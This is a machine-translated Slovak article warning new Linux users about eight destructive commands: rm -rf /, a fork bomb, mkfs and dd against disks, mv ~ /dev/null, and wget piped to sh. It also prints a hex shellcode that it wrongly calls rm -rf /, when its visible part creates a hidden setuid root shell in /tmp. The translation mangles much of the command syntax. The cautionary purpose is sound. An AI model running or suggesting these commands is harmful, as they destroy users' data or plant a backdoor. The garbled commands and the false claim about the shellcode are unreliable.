Úvodná » ako » 8 Smrteľné príkazy Nikdy by ste nemali používať Linux

    8 Smrteľné príkazy Nikdy by ste nemali používať Linux

    Príkazy terminálu Linuxu sú silné a Linux vás nepotrebuje na potvrdenie, ak spustíte príkaz, ktorý naruší váš systém. Nie je nezvyčajné vidieť trolls on-line odporúča novým užívateľom Linux spustiť tieto príkazy ako vtip.

    Učenie príkazov, ktoré by ste nemali spustiť, vám môžu pomôcť chrániť vás pred trolls a zároveň zvýšiť vaše pochopenie toho, ako funguje Linux. Toto nie je vyčerpávajúci sprievodca a príkazy tu môžu byť remixované rôznymi spôsobmi.

    Upozorňujeme, že mnohé z týchto príkazov budú nebezpečné iba vtedy, ak budú predpísané sudo na Ubuntu - nebudú fungovať inak. Na iných distribuciách Linuxu musí byť väčšina príkazov spustená ako root.

    Image Credit: Skull and Crossbones remixoval od Jasona Forda na Twitteri

    rm -rf / - Odstráni všetko!

    Príkaz rm -rf / odstráni všetko možné, vrátane súborov na pevnom disku a súborov na pripojených zariadeniach s vymeniteľnými médiami. Tento príkaz je pochopiteľnejší, ak je rozdelený:

    rm - Odstráňte nasledujúce súbory.

    -rf - Spustite rm rekurzívne (odstráňte všetky súbory a priečinky vo vnútri určeného priečinka) a vynútené odstránenie všetkých súborov bez výzvy.

    / - Informuje rm, aby sa spustil v koreňovom adresári, ktorý obsahuje všetky súbory na vašom počítači a všetky pripojené mediálne zariadenia, vrátane zdieľaných súborov a vymeniteľných diskov.

    Linux bude s radosťou poslúchať tento príkaz a vymazať všetko bez toho, aby vás vyzval, takže buďte opatrní pri jeho použití! Príkaz rm možno použiť aj inými nebezpečnými spôsobmi - rm -rf ~ by odstránili všetky súbory vo vašom domovskom priečinku rm -rf. * by odstránili všetky vaše konfiguračné súbory.

    Hodina, lekcia: Dajte si pozor rm -rf.

    Skrytý rm -rf /

    Tu je ďalší útržok kódu, ktorý sa nachádza po celom webe:

    char esp [] __attribute__ ((sekcia (".text"))) / * e.s.p
    uvoľnenie * /
    = "\ Xeb \ x3 \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
    "\ XFF \ XFF \ XFF \ XFF \ X68 \ XDF \ xd0 \ XDF \ xd9 \ X68 \ x8d \ x99"
    "\ XDF \ X81 \ X68 \ x8d \ X92 \ XDF \ XD2 \ X54 \ x5e \ XF7 \ x16 \ XF7"
    "\ X56 \ X04 \ XF7 \ X56 \ X08 \ XF7 \ X56 \ x0c \ X83 \ XC4 \ X74 \ X56"
    "\ X8d \ X73 \ X08 \ X56 \ X53 \ X54 \ X59 \ xb0 \ x0b \ XCD \ x80 \ x31"
    "\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ XBD \ XFF \ XFF \ XFF \ x2f \ X62 \ x69"
    "\ X6e \ x2f \ X73 \ X68 \ x00 \ x2d \ X63 \ x00"
    "Cp -p / bin / sh /tmp/. chmod 4755
    /tmp/.beyond; "

    Toto je hexadecimálna verzia rm -rf / - vykonanie tohto príkazu by zničil vaše súbory rovnako ako keby ste spustili rm -rf /.

    Hodina, lekcia: Nepoužívajte divne vyzerajúce, zjavne skryté príkazy, ktoré nerozumiete.

    : () : |: & ;: - Vidlicová bomba

    Nasledujúci riadok je jednoducho vyzerajúci, ale nebezpečný bash funkcia:

    : () : |: & ;:

    Tento krátky riadok definuje funkciu shell, ktorá vytvára nové kópie. Proces sa neustále replikuje a jeho kópie sa nepretržite replikujú a rýchlo zaberajú celý čas a pamäť CPU. Môže to spôsobiť zmrazenie počítača. Je to v podstate útok na odmietnutie služby.

    Hodina, lekcia: Funkcie basov sú mocné, dokonca aj veľmi krátke.

    Image Credit: Dake na Wikimedia Commons

    mkfs.ext4 / dev / sda1 - Formátuje pevný disk

    mkfs.ext4 / dev / sda1 príkaz je jednoduchý na pochopenie:

    mkfs.ext4 - Vytvorte nový súborový systém ext4 na nasledujúcom zariadení.

    / Dev / sda1 - Určuje prvú oblasť na prvom pevnom disku, ktorá sa pravdepodobne používa.

    Súhrnne môže byť tento príkaz ekvivalentný bežiacemu formátu c: v systéme Windows - vymazanie súborov na prvom oddieli a ich nahradenie novým systémom súborov.

    Tento príkaz môže prísť aj v iných formách - mkfs.ext3 / dev / sdb2 by formátoval druhý oddiel na druhom pevnom disku s súborovým systémom ext3.

    Hodina, lekcia: Dbajte na spustenie príkazov priamo na zariadeniach pevného disku, ktoré začínajú na / dev / sd.

    command> / dev / sda - píše priamo na pevný disk

    príkaz> dev / sda line pracuje podobne - spúšťa príkaz a odošle výstup tohto príkazu priamo na váš prvý pevný disk, zapíše údaje priamo na pevný disk a poškodí váš súborový systém.

    príkaz - Spustite príkaz (môže to byť akýkoľvek príkaz.)

    > - Odošlite výstup príkazu na nasledujúce miesto.

    / Dev / sda - Napíšte výstup príkazu priamo na zariadenie s pevným diskom.

    Hodina, lekcia: Ako je uvedené vyššie, dajte si pozor na spustenie príkazov, ktoré zahŕňajú zariadenia pevného disku začínajúce na / dev / sd.

    dd if = / dev / random of = / dev / sda - Nahrávanie nevyžiadanej pošty na pevný disk

    dd, ak = / dev / náhodne = / dev / sda line tiež vymazanie údajov na jednom z vašich pevných diskov.

    dd - Vykonajte kopírovanie na nižšej úrovni z jedného miesta na druhé.

    if = / dev / random - Použite / dev / random (náhodné dáta) ako vstup - môžete tiež vidieť lokality ako / dev / nula (nuly).

    z = / dev / sda - Výstup na prvý pevný disk, nahrádzanie jeho súborového systému s náhodnými dátami odpadkov.

    Hodina, lekcia: dd kopíruje údaje z jedného miesta do druhého, čo môže byť nebezpečné, ak kopírujete priamo na zariadenie.

    Image Credit: Matt Rudge na Flickr

    mv ~ / dev / null - presunie váš domovský adresár do čiernej diery

    / dev / null je ďalšia špeciálna poloha - presunutie niečoho do / dev / null je to isté ako jeho zničenie. Premýšľajte o / dev / null ako čiernej diere. v podstate, mv ~ / dev / null odosiela všetky vaše osobné súbory do čiernej diery.

    mv - Presuňte nasledujúci súbor alebo adresár na iné miesto.

    ~ - Reprezentuje celý domovský priečinok.

    / Dev / null - Presuňte svoj domovský priečinok na / dev / null, zničíte všetky súbory a vymažete originálne kópie.

    Hodina, lekcia: ~ Znak predstavuje vašu domácu zložku a presunutie vecí na / dev / null ich zničí.

    wget http://example.com/something -O - | sh - Sťahuje a spúšťa skript

    Vyššie uvedený riadok preberá skript z webu a pošle ho na sh, ktorý spustí obsah skriptu. To môže byť nebezpečné, ak si nie ste istí, čo je skript, alebo ak neveríte jeho zdroju - nespúšťajte nedôveryhodné skripty.

    wget - Stiahne súbor. (Môžete tiež vidieť vlnitý namiesto wget.)

    http://example.com/something - Prevezmite súbor z tohto miesta.

    | - Pipe (odoslať) výstup príkazu wget (stiahnutý súbor) priamo do iného príkazu.

    sh - Odošlite súbor príkazu sh, ktorý ho vykoná, ak je to bash skript.

    Hodina, lekcia: Neťahajte a nespúšťajte nedôveryhodné skripty z webu, a to ani s príkazom.


    Poznáte všetky ďalšie nebezpečné príkazy, ktoré by noví používatelia Linuxu (a skúsení) nemali používať? Zanechajte komentár a zdieľajte ho!